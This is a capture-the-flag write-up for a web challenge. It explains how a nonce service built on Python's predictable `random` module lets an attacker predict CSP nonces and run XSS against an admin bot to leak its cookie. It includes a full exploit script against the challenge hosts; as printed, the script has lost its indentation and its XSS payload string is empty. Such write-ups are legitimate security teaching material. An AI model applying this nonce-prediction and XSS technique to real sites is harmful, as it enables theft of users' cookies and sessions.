Rating: 5.0

# NaaS #

In this challenge, there are 3 parts:

* The "Nonce as a Service" API, where you can post your HTML and automatically apply nonces to your script tags and send a CSP header that matches it. We are given the code for this.
* A paste site, where you can submit whatever and store it. The input isn't sanitized, but due to CSP restrictions on the site, scripts cannot be run unless they are tagged with the correct nonce. Nonces are generated by the NaaS API.
* The functionality to report a paste to an admin, making a browser bot visit that paste. The admin has a secret cookie with the flag in it.

The big flaw here, is that the NaaS API uses Python's `random` module, which gives pseudorandom numbers based on the Mersenne Twister PRNG. To get nearly 100% prediction rate for the next number, we need only 624 consecutive 32-bit numbers from the PRNG. The nonces are grabbing 128 bits every time, and outputting them in full, so that means we only need 156 numbers.

Our vector of attack is thus to send some HTML to the NaaS API, where we ask for at least 156 nonces. We use the value of these nonces to reverse the PRNG state and predict what the next nonces will be. Next, we generate some HTML+JS using these predicted nonces, where we also exfiltrate the admin cookie through normal XSS. Lastly, we report the paste to the admin, which triggers a visit. The paste site now queries NaaS, which gives one of our predicted nonces, and the admin ends up leaking the cookie.

To reverse the PRNG we use randcrack. It takes in 32-bit values only, so the 128-bit nonces are split up into 32-bit ones. When you ask Python for `getrandbits(64)` you actually get `getrandbits(32) << 32 | getrandbits(32)` and the same applies for 128-bit. That's the reason for the negative direction of the split.

```python
import requests, re, binascii, base64
from randcrack import RandCrack

html = "<html>" + "<script></script>"*157 + "</html>"

data = requests.post("https://naas.2019.chall.actf.co/nonceify", data=html).text
nonces = re.findall("'nonce-([A-Za-z0-9\+/=]+)'", data)
hexnonce = [binascii.hexlify(base64.b64decode(nonce)) for nonce in nonces]
rands = [int(e[i:i+8], 16) for e in hexnonce for i in range(24,-1,-8)]
realrands = [int(e,16) for e in hexnonce]

rc = RandCrack()
for i in range(624):
rc.submit(rands[i])

assert rc.predict_getrandbits(128) == realrands[624//4]

xsshtml = ""
for _ in range(100):
nonce = str(base64.b64encode(binascii.unhexlify(hex(rc.predict_getrandbits(128))[2:].zfill(32))), encoding="ascii")
xsshtml += """<script nonce="%s">document.write('')</script>""" % nonce

r = requests.post("https://paste.2019.chall.actf.co", data={'paste': xsshtml}, allow_redirects=False)
pasteurl = r.headers['Location']

r = requests.post("https://paste.2019.chall.actf.co/report", json={"url" : pasteurl})
```

trieulieuf9Aug. 31, 2021, 11:37 a.m.

awesome writeup